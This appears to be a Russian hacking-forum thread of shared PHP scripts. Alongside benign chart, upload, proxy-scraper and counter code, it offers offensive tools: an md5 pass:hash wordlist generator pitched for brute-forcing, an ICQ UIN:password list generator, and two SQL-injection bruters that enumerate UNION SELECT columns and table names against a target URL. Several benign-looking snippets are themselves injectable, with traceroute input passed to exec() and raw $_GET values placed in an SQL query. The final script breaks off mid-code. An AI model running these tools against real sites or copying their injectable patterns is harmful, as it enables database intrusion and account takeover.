Вот мой небольшой пример создания секторных диаграмм: PHP: <?phpdefine("HEIGHT",200);define("WIDTH",200);$data=array(10,5,20,40,10,15);$img=imagecreate(200, 200);$background=$white=imagecolorallocate($img, 0xFF,0xFF,0xFF);$black=imagecolorallocate($img, 0, 0, 0);$center_x=(int)WIDTH/2;$center_y=(int)HEIGHT/2;imagerectangle($img, 0, 0, WIDTH-1, HEIGHT-1, $black);$last=0;foreach($data as $proc) {$len=(360*$proc)/100;imagefilledarc($img, $center_x, $center_y, WIDTH-20, HEIGHT-20, $last, ($last+$len), $black, IMG_ARC_EDGED | IMG_ARC_NOFILL);$last +=$len;}header("Content-Type: image/png");imagepng($img);?> И вот "цветастая, красивая" объёмная круговая диаграмма. Если раскометировать пару тройку строк, то будем с легендой.: PHP: <?// $im - идентификатор изображения// $VALUES - массив со значениями// $LEGEND - массив с подписямиfunction Diagramm($im,$VALUES,$LEGEND) { GLOBAL $COLORS,$SHADOWS; $black=ImageColorAllocate($im,0,0,0); // Получим размеры изображения $W=ImageSX($im); $H=ImageSY($im); // Вывод легенды ##################################### // Посчитаем количество пунктов, от этого зависит высота легенды $legend_count=count($LEGEND); // Посчитаем максимальную длину пункта, от этого зависит ширина легенды $max_length=0; // foreach($LEGEND as $v) if ($max_length<strlen($v)) $max_length=strlen($v); // Номер шрифта, котором мы будем выводить легенду $FONT=2; $font_w=ImageFontWidth($FONT); $font_h=ImageFontHeight($FONT); // Вывод прямоугольника - границы легенды ---------------------------- $l_width=($font_w*$max_length)+$font_h+10+5+10; $l_height=$font_h*$legend_count+10+10; // Получим координаты верхнего левого угла прямоугольника - границы легенды $l_x1=$W-10-$l_width; // $l_y1=($H-$l_height)/2; // Выводя прямоугольника - границы легенды // ImageRectangle($im, $l_x1, $l_y1, $l_x1+$l_width, $l_y1+$l_height, $black); // Вывод текст легенды и цветных квадратиков // $text_x=$l_x1+10+5+$font_h; // $square_x=$l_x1+10; /// $y=$l_y1+10;/* $i=0; foreach($LEGEND as $v) { $dy=$y+($i*$font_h); ImageString($im, $FONT, $text_x, $dy, $v, $black); ImageFilledRectangle($im, $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1, $COLORS[$i]); ImageRectangle($im, $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1, $black); $i++; }*/ // Вывод круговой диаграммы ---------------------------------------- $total=array_sum($VALUES); $anglesum=$angle=Array(0); $i=1; // Расчет углов while ($i<count($VALUES)) { $part=$VALUES[$i-1]/$total; $angle[$i]=floor($part*360); $anglesum[$i]=array_sum($angle); $i++; } $anglesum[]=$anglesum[0]; // Расчет диаметра $diametr=$l_x1-10-10; // Расчет координат центра эллипса $circle_x=($diametr/2)+10; $circle_y=$H/2-10; // Поправка диаметра, если эллипс не помещается по высоте if ($diametr>($H*2)-10-10) $diametr=($H*2)-20-20-40; // Вывод тени for ($j=20;$j>0;$j--) for ($i=0;$i<count($anglesum)-1;$i++) ImageFilledArc($im,$circle_x,$circle_y+$j, $diametr,$diametr/2, $anglesum[$i],$anglesum[$i+1], $SHADOWS[$i],IMG_ARC_PIE); // Вывод круговой диаграммы for ($i=0;$i<count($anglesum)-1;$i++) ImageFilledArc($im,$circle_x,$circle_y, $diametr,$diametr/2, $anglesum[$i],$anglesum[$i+1], $COLORS[$i],IMG_ARC_PIE); }$an=0;$an1=1;$an2=2;$an3=3;$an4=4;$an5=5;$an6=6;// Зададим значение и подписи$VALUES=Array($an,$an1,$an2,$an3,$an4,$an5,$an6);$LEGEND=Array("Пон","Вт","Ср","Чет","Пят","Суб","AS");// Создадим изображенияheader("Content-Type: image/png");$im=ImageCreate(300,300); // размеры// Зададим цвет фона.$bgcolor=ImageColorAllocate($im,255,255,255);// Зададим цвета элементов$COLORS[0] = imagecolorallocate($im, 255, 203, 3);$COLORS[1] = imagecolorallocate($im, 220, 101, 29);$COLORS[2] = imagecolorallocate($im, 189, 24, 51);$COLORS[3] = imagecolorallocate($im, 214, 0, 127);$COLORS[4] = imagecolorallocate($im, 98, 1, 96);$COLORS[5] = imagecolorallocate($im, 0, 62, 136);$COLORS[6] = imagecolorallocate($im, 0, 102, 179);$COLORS[7] = imagecolorallocate($im, 0, 145, 195);// Зададим цвета теней элементов$SHADOWS[0] = imagecolorallocate($im, 205, 153, 0);$SHADOWS[1] = imagecolorallocate($im, 170, 51, 0);$SHADOWS[2] = imagecolorallocate($im, 139, 0, 1);$SHADOWS[3] = imagecolorallocate($im, 164, 0, 77);$SHADOWS[4] = imagecolorallocate($im, 48, 0, 46);$SHADOWS[5] = imagecolorallocate($im, 0, 12, 86);$SHADOWS[6] = imagecolorallocate($im, 0, 52, 129);$SHADOWS[7] = imagecolorallocate($im, 0, 95, 145);// Вызов функции рисования диаграммыDiagramm($im,$VALUES,$LEGEND);// Генерация изображенияImagePNG($im)?>
Скрипт для добавления картинок на сайт(ваш естессно). Что он умеет: Вначале конечно инсталятор. Создает таблицы в базе, пишет конфиг. Затем само добавление. Во первых скрипт создает сам таблицы по категориям. Если нужно изменить категории то в сорцах все легко меняется. При добавлении, добавляет в базу свое непосредственное имя, имя которое будет отображаться на сайте(например "Супер тачка"), разрешение(1024х768), вес(300Бт, 214Кб, 1,2Мб), дату добавления и имя того кто добавил. Все параметры кроме пути к файлу и имени заполняются автоматом. Изображение копируется на сервер, на него наносятся две строчки(маленькие) с адресом сайта(нужно править в сорцах вручную). Так же создается превью. у превью точно такое же имя что и у оригинальной картинки, поэтому для его вывода стоит выводить имя оригинальной картинки. Соответственно большие картинки хранятся в папке img а маленькие в th Из фичей в нем стоит фильтр на загрузку только изображений(проверяет тип). И есть функция для правильного размера файла. Тоесть будет отображаться например 256kb, 1,2mb и так далее. Скрипт делал для себя так что извиняйте, функционал не очень. Собственно скачать. http://myreferat.jino-net.ru/add.rar
генератор по нужным нам символам, в данном случае пасс:хеш(md5). поидее легко беределать под брутилку и т.д. и т.п. Автор Hidden PHP: <?php @set_time_limit(0); $charset='0123456789abcdefghijklmnopqrstuvwxyz~!@#$%^&*()_+=-`"№;:?'; $minlen=1; $maxlen=4; $file=log; function inc(&$arr,$charset){ for($n=count($arr)-1;$n>=0;$n--){ $v=$arr[$n]+1; $arr[$n]=$v%strlen($charset); if($arr[$n]==$v){ break; } } foreach($arr as $val){ if($val<strlen($charset)-1) return 0; } return -1; } function arr2str($arr,$charset){ $ret=''; foreach($arr as $val){ $ret.=$charset[$val]; } return $ret; } $f = fopen( $file, "w" ); for($len=$minlen;$len<=$maxlen;$len++){ $line=array(); for($n=0;$n<$len;$n++){ $line[]=0; } $ret=0; while($ret==0){ $ret=inc($line,$charset); $str=arr2str($line,$charset); echo $str.':'.md5($str)."\r\n"; fputs( $f, $str.':'.md5($str)."\r\n"); } } fclose( $f ); ?>
PHP: <?php if (isset($HTTP_GET_VARS["dictgen"])) { if (!isset( $HTTP_GET_VARS["listfile"] )) exit( "listfile not specified\r\n" ); if (!isset( $HTTP_GET_VARS["from"] )) exit( "from not specified\r\n" ); if (!isset( $HTTP_GET_VARS["to"] )) exit( "to not specified\r\n" ); if (!isset( $HTTP_GET_VARS["pass"] )) exit( "pass not specified\r\n" ); if (!isset( $HTTP_GET_VARS["mode"] )) exit( "mode not specified\r\n" ); $fname = $HTTP_GET_VARS["listfile"]; $min = $HTTP_GET_VARS["from"]; $max = $HTTP_GET_VARS["to"]; $pass = $HTTP_GET_VARS["pass"]; $mode = $HTTP_GET_VARS["mode"]; switch ($mode) : case "a" : $f = fopen( $fname, "a" ); break; case "w" : $f = fopen( $fname, "w" ); break; default : { print "What about mode ? a (append) or w (rewrite) ?\r\n"; } endswitch; $f_pass = fopen( $pass, "r" ); while ($l = fgets( $f_pass, 50 )) : $l = str_replace( "\r\n", "", $l ); for ($i = $min; $i <= $max; $i += 1): fputs( $f, $i.";".$l."\r\n" ); endfor; endwhile; fclose( $f ); fclose( $f_pass ); if ($mode == "w") print "Rewrite: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass; else print "Append: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass; exit; } else if (isset($HTTP_GET_VARS["singlegen"])) { if (!isset( $HTTP_GET_VARS["listfile"]) ) exit( "listfile not specified\r\n" ); if (!isset( $HTTP_GET_VARS["from"]) ) exit( "from not specified\r\n" ); if (!isset( $HTTP_GET_VARS["to"]) ) exit( "to not specified\r\n" ); if (!isset( $HTTP_GET_VARS["pass"]) ) exit( "pass not specified\r\n" ); if (!isset( $HTTP_GET_VARS["mode"]) ) exit( "mode not specified\r\n" ); $fname = $HTTP_GET_VARS["listfile"]; $min = $HTTP_GET_VARS["from"]; $max = $HTTP_GET_VARS["to"]; $pass = $HTTP_GET_VARS["pass"]; $mode = $HTTP_GET_VARS["mode"]; switch ($mode) : case "a" : $f = fopen( $fname, "a" ); break; case "w" : $f = fopen( $fname, "w" ); break; default : { print "What about mode ? a (append) or w (rewrite) ?\r\n"; } endswitch; for ($i = $min; $i <= $max; $i += 1): fputs( $f, $i.";".$pass."\r\n" ); endfor; fclose( $f ); if ($mode == "w") print "Rewrite: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass; else print "Append: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass; exit; } ?> Генератор UINASS листа, автор KEZ если не ошибаюсь..
Это PHP скрипт, который включает следующи утилиты: whois, finger, и traceroute. PHP: <?PHP // whois(hostname [,username, [port]]) Function whois ($a_server, $a_query="", $a_port=43) { $sock = fsockopen($a_server, $a_port, &$errno, &$errstr, 10); if (!$sock) { echo "$errstr ($errno)<BR>\n"; } else { fputs($sock, "$a_query\r\n"); while(!feof($sock)) { $buf = fgets($sock,128); if (ereg( "Whois Server:", $buf)) { $a_server = str_replace( "Whois Server: ", "", $buf); $a_server = trim($a_server); } } fclose($sock); if ($a_server) { print "<B>$a_query is registered at $a_server:</B><BR>"; $sock = fsockopen($a_server, 43, &$errno, &$errstr, 10); if(!$sock) { echo "Could not open connection to $a_server on port $a_port.\n"; echo "$errstr ($errno)<BR>\n"; } else { fputs($sock, "$a_query\r\n"); while(!feof($sock)) { echo fgets($sock,128); } fclose($sock); } } else { echo "<b>$a_query was not found.</b><BR>"; } } } // finger(hostname [,username, [port]]) Function finger ($a_server, $a_query="", $a_port=79) { $sock=fsockopen($a_server,$a_port, &$errno, &$errstr, 10); if (!$sock) { $ret_str = "$errstr ($errno)<BR>\n"; } else { fputs($sock,"$a_query\n"); while (!feof($sock)) { $ret_str .= fgets($sock,128); } fclose($sock); } echo $ret_str; return $ret_str; } // traceroute(hostname) Function traceroute ($a_query) { exec("traceroute $a_query",$ret_strs); $str_count = count($ret_strs); for ($count=0; $count < $str_count; $count++) print "$count/$str_count".$ret_strs[$count]."\n"; } // ----------------------------------------------------------- $app_name = "PHP Net Toolpack"; $app_version = "0.1"; $TOOLS = array( "finger" => "Finger", "traceroute" => "Traceroute", "whois" => "Whois?" ); // when included inside <select name="tool"> on a html file .. if ($tool=="listtools") { while (list($key, $val) = each($TOOLS)) { print " <OPTION VALUE=\"".$key."\">".$val."</OPTION>\n"; } exit; } // print appropriate html header print "<HTML>"; if ($tool) { print "<HEAD><TITLE>".$tool." for ".$query."</TITLE></HEAD>\n"; print "<BODY>\n<H3>".$tool." for ".$query." ..</H3>\n"; } else { print "<HEAD><TITLE>".$app_name."</TITLE></HEAD>\n"; print "<BODY>\n<H3>".$app_name."</H3>\n"; } // check what tool they want to use and do what is necessary switch($tool) { case "finger": if ($query) { print "<PRE>\n"; finger($server, $query); print "</PRE>"; } else { ?> <FORM ACTION="<?PHP echo($PHP_SELF. "?tool=".$tool); ?>" METHOD="post"> Server : <INPUT TYPE="text" NAME="server" VALUE="localhost"> <BR> Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR> <INPUT TYPE="submit" VALUE="Finger"> </FORM> <?PHP } break; case "traceroute": if ($query) { print "<PRE>\n"; traceroute($query); print "</PRE>"; } else { ?> <FORM ACTION="<?PHP echo($PHP_SELF. "?tool=".$tool); ?>" METHOD="post"> Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR> <INPUT TYPE="submit" VALUE="Trace route"> </FORM> <?PHP } break; case "whois": if ($query) { print "<PRE>\n"; whois($server,$query); print "</PRE>"; } else { ?> <!-- <UL> To look up a NIC handle, host name, or registrant, use one of the keywords below:<BR> <LI>To search by NIC handle (or contact), type "handle WA3509"</LI><BR> <LI>To search by name, type "name lastname, firstname" </LI><BR> <LI>To search by company name, type "name The Sample Corporation" </LI><BR> <LI>To search by domain name, type "example.com" </LI><BR> <LI>To search by IP address, type "host 121.23.2.7" </LI><BR> <LI>To search by host or nameserver name, type "host ns1.worldnic.com" </LI><BR> (examples are from networksolutions.com) </UL> --> <FORM ACTION="<?PHP echo($PHP_SELF. "?tool=".$tool); ?>" METHOD="post"> This will find .com, .org, and .net domains<BR> Server : <INPUT TYPE="text" NAME="server" VALUE="rs.internic.net"> <BR> Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR> <INPUT TYPE="submit" VALUE="<?PHP echo $TOOLS[$tool]; ?>"> </FORM> <?PHP } break; default: print "<UL>Currently supported tools are:\n"; while (list($key, $val) = each($TOOLS)) { echo "<LI><A HREF=\"".$PHP_SELF."?tool=".$key."\">".$val."</A></LI>\n"; } print "</UL>\n"; break; } print "\n<HR><SMALL>".$app_name." v".$app_version."</SMALL>\n"; print "<BODY>\n</HTML>"; ?>
Мой скрипт для скачивания файла с одного сервера на фтп другого Code: <?php echo '<html> <head> <title></title> <style> body { background-color: #1a1a1a; } table { border: 1px #333333 solid; } td,th { font-size: 10px; font-family: verdana, tahoma; color: #666666; background-color: #1a1a1a; border: 0px #333333 solid; } input { font-family: verdana, tahoma; font-size: 10px; color: grey; background-color: #1a1a1a; border: 1px #333333 solid; } a { font-size: 10px; text-decoration: none; color: grey; } </style> </head> <table border="0" width="600" align="center"> <form action="" method="post"> <tr> <td colspan="2" align="center"> <b>Скрипт для скачивания файла с одного сервера на фтп другого</b> </td> </tr> <tr> <td colspan="2" align="center"><b>Основные настройки</b></td> </tr> <tr> <td>Файл для скачивания</td> <td><input type="text" name="file" size="50" value="file.sql"></td> </tr> <tr> <td>Путь до директории с файлом относительно сайта</td> <td><input type="text" name="path" size="50" value="/downloads"></td> </tr> <tr> <td>Хост, с которого будем сливать файл</td> <td><input type="text" name="host" size="50" value="server.ru"></td> </tr> <tr> <td colspan="2" align="center"><b>Настройки FTP</b></td> </tr> <tr> <td>FTP хост, на который будем заливать файл</td> <td><input type="text" name="ftphost" size="50" value="ftp.server.ru"></td> </tr> <tr> <td>FTP логин</td> <td><input type="login" name="login" size="50" value="ftpuser"></td> </tr> <tr> <td>FTP пароль</td> <td><input type="pass" name="pass" size="50" value="ftppass"></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Отправить"></td> </tr> <tr> <td colspan="2" align="center"> Coded by <b>p-range</b> - <a href="http://cf-team.net">cf-team.net</a>, <a href="http://p-range.info">p-range.info</a></td> </tr> </form> </table>'; if(isset($_POST['file']) && isset($_POST['path']) && isset($_POST['host']) && isset($_POST['ftphost']) && isset($_POST['login']) && isset($_POST['pass'])) { $file = $_POST['file']; // файл для скачивания $path = $_POST['path']; // путь до директории с файлом относительно сайта $host = $_POST['host']; // Хост, с которого будем сливать файл $ftphost = $_POST['ftphost']; // FTP хост, на который будем заливать файл $login = $_POST['login']; // FTP логин $pass = $_POST['pass']; // FTP пароль // открыли соединение $so = fsockopen($host, 80, &$errno, &$errstr, 30); // послали GET форму (простой URL + указание вирт. хоста) fputs($so,"GET $path/$file HTTP/1.0\nHOST: $host\n\n"); // читаем все, пока не наступит "конец заголовка" (т.е. начало документа) // если наступит, то со след. байта начнется документ while(fgets($so,2048)!="\r\n" && !feof($so)); unset($buf); // читаем документ в переменную while(!feof($so)) $buf.=fread($so,2048); // Готово. В переменной $buf храниться скаченный документ (т.е. файл) // Максимум можно читать порциями по 64K-1байт // закрываем сокет fclose($so); echo "Download file, size ".strlen($buf)." bytes.<br>"; flush(); // используем скаченный файл (в переменной) по назначению... $f=fopen($file,"wb+"); fwrite($f,$buf,strlen($buf)); fclose($f); $ftp = ftp_connect($ftphost); if($ftp) { @$res = ftp_login($ftp,$login,$pass); if($res) { $fp = fopen($file, "r"); $fput = ftp_fput($ftp, $file, $fp, FTP_BINARY); fclose($fp); if(!$fput) { echo "<font color='#cc1233'>Error transfering</font>"; ftp_quit($ftp); } else { echo "<font color='#666666'>Success transfering <b>".$file."</b></font>"; } } else { echo "<font color='#cc1233'>Error login</font>"; ftp_quit($ftp); } } } ?> Скачать можно отсюда: http://p-range.info/pub/transfer.zip
На форуме Хакер.РУ была тема по блокировки копирования изображения с сайта (ну конечно от ПринтСкрина ничто не спасет но все-же)... Вот мой код для решения этой проблеммы: Это код который будет использоватся на сайте для отображения изображения: PHP: <div style="position: relative; width: 480px"> <table width="480" height="324" cellspacing="0" cellpadding="0" style="position: absolute; color: #F0F0F0"><tr> <td style="padding: 10px 10px;" align="left" valign="top"> Тут некоторый текст, к примеру описание </td> </tr></table> <img src="images.php?f=1" width="480" height="324"> </div> А вот код файла images.php PHP: <?php /*Тут организовать подключение к базе MySQL*/ $width=(isset($_GET['w']))?$_GET['w']:0; $height=(isset($_GET['h']))?$_GET['h']:0; $sql = mysql_query("SELECT * FROM images WHERE id='".$_GET['f']."'");//$_GET['f'] в данном случае служит как номер изображения в базе $res = mysql_fetch_array($sql); $ffile = $res['images']; header('(anti-spam-content-type:) image/jpeg'); list($widthorig, $heightorig) = getimagesize($ffile); if(!$width && !$height){ $width = $widthorig; $height = $heightorig; } if($width && !$height){ $width = ($width > $widthorig) ? $widthorig : $width; $height = ($width > $widthorig) ? $heightorig : ($heightorig / $widthorig) * $width; } if($height && !$width){ $height = ($height > $heightorig) ? $heightorig : $height; $width = ($height > $heightorig) ? $widthorig : ($widthorig / $heightorig) * $height; } $extn=explode(".",$ffile); $i=count($extn); $ext=strtolower($extn[$i-1]); $imagep = imagecreatetruecolor($width, $height); if($ext=="jpg")$image=imagecreatefromjpeg($ffile); if($ext=="png")$image=imagecreatefrompng($ffile); if($ext=="gif")$image=imagecreatefromgif($ffile); imagecopyresampled($imagep, $image, 0, 0, 0, 0, $width, $height, $widthorig, $heightorig); imagejpeg($imagep, null, 100); ?> (C) Для создания кода иследовался код сайта www.drive.ru и PHP Class Resize взятый с сайта: phpclasses.segmenta.ru
Парсер проксей с сайта http://proxy4free.com Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity. Пример работы скрипта: http://striem.org/proxy/ PHP: <? /* www.proxy4free.com - GRABER (c) nc.STRIEM*/ $transparent=array(); $anonymous=array(); $high_anonymity=array(); echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>"; function parsproxy($res) { global $fr,$transparent,$anonymous,$high_anonymity,$elsepr; $strtof='<tr bgcolor="#ffffff" class="text" height=10>'; $razd=':'; $razm=sizeof($res); for($i=0;$i<$razm;$i++) { if(strstr($res[$i],$strtof)) { $i++; $p=split('>',$res[$i]); $p=split('<',$p[1]); $proxres=$p[0].$razd; $i++; $p=split('>',$res[$i]); $p=split('<',$p[1]); $proxres.=$p[0]; $i++; $p=split('>',$res[$i]); $p=split('<',$p[1]); if(strstr($p[0],"anonymous")) $anonymous[sizeof($anonymous)]=$proxres; elseif(strstr($p[0],"high")) $high_anonymity[sizeof($high_anonymity)]=$proxres; else $transparent[sizeof($transparent)]=$proxres; } } } $fs=fsockopen("www.proxy4free.com",80); fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n"); $ans=''; while(!feof($fs)) $ans.=fgets($fs); $res=split("\n",$ans); parsproxy($res); fclose($fs); $fs=fsockopen("www.proxy4free.com",80); fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n"); $ans=''; while(!feof($fs)) $ans.=fgets($fs); $res=split("\n",$ans); parsproxy($res); fclose($fs); $fs=fsockopen("www.proxy4free.com",80); fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n"); $ans=''; while(!feof($fs)) $ans.=fgets($fs); $res=split("\n",$ans); parsproxy($res); fclose($fs); $fo=fopen("proxy.txt","w"); echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>"; for($i=0;$i<sizeof($transparent);$i++) {fwrite($fo,$transparent[$i]."\n"); echo $transparent[$i]."<br>";} echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>"; for($i=0;$i<sizeof($anonymous);$i++) {fwrite($fo,$anonymous[$i]."\n"); echo $anonymous[$i]."<br>";} echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>"; for($i=0;$i<sizeof($high_anonymity);$i++) {fwrite($fo,$high_anonymity[$i]."\n"); echo $high_anonymity[$i]."<br>";} echo "</fieldset></td></tr></table>"; fclose($fo); ?>
Code: <?php $directories = glob("/tmp/*", GLOB_ONLYDIR); $complete = glob("/tmp/*"); $files = array_diff($directories, $complete); echo "каталоги в /tmp/<BR>"; foreach($directories as $val) { echo "$val<BR>\n"; } echo"<BR>Файлы в /tmp/<BR>"; foreach($files as $val) { echo "$val<BR>\n"; } показывает все файлы и папки с каталога тмп(вместо него указываем домашнюю директорию) (для составления списка самых распространенных директорий)
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in public_html/test.php on line 9
Code: <? /* www.proxy4free.com - GRABER (c) nc.STRIEM*/ $transparent=array(); $anonymous=array(); $high_anonymity=array(); echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>"; function parsproxy($res) { global $fr,$transparent,$anonymous,$high_anonymity,$elsep; $strtof='<tr bgcolor="#ffffff" class="text" height=10>'; $razd=':'; $razm=sizeof($res); for($i=0;$i<$razm;$i++) { if(strstr($res[$i],$strtof)) { $i++; $p=split('>',$res[$i]); $p=split('<',$p[1]); $proxres=$p[0].$razd; $i++; $p=split('>',$res[$i]); $p=split('<',$p[1]); $proxres.=$p[0]; $i++; $p=split('>',$res[$i]); $p=split('<',$p[1]); if(strstr($p[0],"anonymous")) $anonymous[sizeof($anonymous)]=$proxres; elseif(strstr($p[0],"high")) $high_anonymity[sizeof($high_anonymity)]=$proxres; else $transparent[sizeof($transparent)]=$proxres; } } } $fs=fsockopen("www.proxy4free.com",80); fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n"); $ans=''; while(!feof($fs)) $ans.=fgets($fs); $res=split("\n",$ans); parsproxy($res); fclose($fs); $fs=fsockopen("www.proxy4free.com",80); fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n"); $ans=''; while(!feof($fs)) $ans.=fgets($fs); $res=split("\n",$ans); parsproxy($res); fclose($fs); $fs=fsockopen("www.proxy4free.com",80); fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n"); $ans=''; while(!feof($fs)) $ans.=fgets($fs); $res=split("\n",$ans); parsproxy($res); fclose($fs); $fo=fopen("proxy.txt","w"); echo "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>"; for($i=0;$i<sizeof($transparent);$i++) {fwrite($fo,$transparent[$i]."\n"); echo $transparent[$i]."<br>";} echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>"; for($i=0;$i<sizeof($anonymous);$i++) {fwrite($fo,$anonymous[$i]."\n"); echo $anonymous[$i]."<br>";} echo "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>"; for($i=0;$i<sizeof($high_anonymity);$i++) {fwrite($fo,$high_anonymity[$i]."\n"); echo $high_anonymity[$i]."<br>";} echo "</fieldset></td></tr></table>"; fclose($fo); ?> Вот рабочий =)
скрипт отображает количество людей просматривающих страницу: PHP: <? $timelim=20; ///лимит времени в секундах допустимого бездействия пользоваеля session_id("hfJKcbJssJ"); session_start(); $f=1; if(!isset($_SESSION['kolvo'])) $_SESSION['kolvo']=0; if($_SESSION['kolvo']>0) { for($i=0;$i<$_SESSION['kolvo'];$i++) if($_SESSION['users']['ip'][$i]==$_SERVER['REMOTE_ADDR']) { $_SESSION['users']['date'][$i]=date('U'); $f=0; break; } if($_SESSION['kolvo']>0) for($i=0;$i<$_SESSION['kolvo'];$i++) if(date('U')-$_SESSION['users']['date'][$i]>$timelim) { for($j=$i;$j<$_SESSION['kolvo']-1;$j++) { $_SESSION['users']['date'][$j]=$_SESSION['users']['date'][$j+1]; $_SESSION['users']['ip'][$j]=$_SESSION['users']['ip'][$j+1]; } $_SESSION['kolvo']--; } } if($f) { $_SESSION['users']['ip'][$_SESSION['kolvo']]=$_SERVER['REMOTE_ADDR']; $_SESSION['users']['date'][$_SESSION['kolvo']]=date('U'); $_SESSION['kolvo']++; } echo "Рыл на странице: ".$_SESSION['kolvo']; ?>
Мой скрипт который подбирает количество колонок в скуле: PHP: <? ###################################### if(is_good_boy($nick)){ ###################################### echo <<<GreetZ ########### GraBBerz TeaM ############ - лАмАрЕз ########## www.grabberz.com ########## - @стериX ######## (c)оудед бай cRiLaZ ######### - Д'кей ###################################### - КоТ777 #### Брут колонок к СКЛ-инжектион #### - РиДЖи ######### criSQLcolumnsPicler ######## - сиаттак #### 09.01.2007 #### - Сато и другим... ###################################### GreetZ; ###################################### } set_time_limit(0); error_reporting(0); ?> <html> <head><title>criScB</title> <style> table, td { border : 1px dashed #444444; background-color : #000000; font : 12px courier new; color : #888888; } input { background-color: #000000; font:8pt verdana; text-align:center; color:#cccccc; } </style> </head> <body text=00ff00 bgcolor=000000> <form method='post' action="<?echo $PHP_SELF;?>"> <br><br><br> <table border='0' cellspacing='0' cellpadding='2' align='center' width='360'> <tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;"> <b>SQL columns Picker</b></td></tr> <tr><td align='center' colspan='2'> by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ TeaM</font> </td> </tr> <tr><td width='15%' align='center'><b>Запрос</b></td> <td width='50%' align='right'><input name='man_zapros' type='text' value="<?if($_post['man_zapros']){echo $man_zapros;}else{echo 'http://crilaz.net.ru/ind.php?fuck=-1+union+select+|cols|/*';}?>" size=40%> </td> <tr> <td rowspan=2 align=center> <b>Текст</b> </td> <td align=right> <input type='radio'checked name='text_tipe' value='error'> <input type='text' size='36' value='Ошибки' name='error_text'> </td> </tr> <tr> <td align=right> <input type='radio' name='text_tipe' value='good'> <input type='text' size='36' value='Нужный' name='good_text'> </td> </tr> <tr><td width='15%' align='center'><b>Колонки</b></td> <td width='50%' align='right'><input name='columns' type='text' value="<?if($_post['columns']){echo $columns;}else{echo '50';}?>" size='40%'> </td></tr> <tr> <td colspan='2' align='right'> <input type='submit' value=' Подобрать... ' name='gogogogo'> </td> </tr> </table> </form><br><br> <? if($_POST["gogogogo"]){ $man_zapros = htmlspecialchars($_POST['man_zapros']); $arr_url = parse_url($_POST['man_zapros']); $host = $arr_url['host']; $columns = $_POST['columns']; if((int)$columns>250){echo "<script>alert('Колонок не может быть больше 250!');</script>";} if($_POST['text_tipe']=="error"){ $need_text=$error_text;} else{ $need_text=$good_text;} $col_num = ""; $content = ""; for($q=1;$q<=$columns;$q++){ $bad_col_num.=$q.","; $good_col_num=substr($bad_col_num,0,(count($col_num)-2)); $request=str_replace("|cols|",$good_col_num,$man_zapros); $zapros="GET $request HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n"; $soket=fsockopen("www.".$host, 80, $errno, $errstr, 10) or die ("$errstr ($errno)"); fwrite($soket, $zapros); while(!feof($soket)){ $content.=fgets($soket);} //@$hell_words=eregi($need_text, $content); if(($_POST['text_tipe']=="error" && !eregi($need_text,$content) || ($_POST['text_tipe']=="good" && eregi($need_text,$content)))){ echo "<br><font color='00ff00'>$request</font>";} else{ echo "<br><font color='ff0000'>$request</font>";} $content=""; $request=""; } } ?> А этот аналогично бодбирает названия таблиц или колонок, чего захотите вобщем PHP: <? ###################################### гРит3ы: if(is_good_boy($nick)){ ###################################### echo <<<freind ########### GraBBerz TeaM ############ - лАмАрЕз ########## www.grabberz.com ########## - @стериX ######## (c)оудед бай cRiLaZ ######### - Д'кей ###################################### - КоТ777 ## Брут имен к колонкам и таблицам ### - РиДЖи ########## criSQLtableBruter ######### - сиаттак ############# 14.01.2007 ############# - Сато и другим ###################################### freind; ###################################### } set_time_limit(0); error_reporting(0); ?> <html> <head><title>criStB</title> <style> table, td { border : 1px dashed #444444; background-color : #000000; font : 12px courier new; color : #888888; } input { background-color: #000000; font:8pt verdana; text-align:center; color:#cccccc; } </style> </head> <body text=00ff00 bgcolor=000000> <form method='post' action="<?echo $PHP_SELF;?>"> <br><br><br> <table border='0' cellspacing='0' cellpadding='2' align='center' width='360'> <tr><td colspan='2' align='center' style="background-color: #cccccc; font-size: 18px; color: white; font-family: tahoma; padding-left: 5px; color:#000000;"> <b>SQL tables Bruter</b></td></tr> <tr><td align='center' colspan='2'> by <font color='ff0000'>cRiLaZ</font> for <font color='ff0000'>GraBBerZ 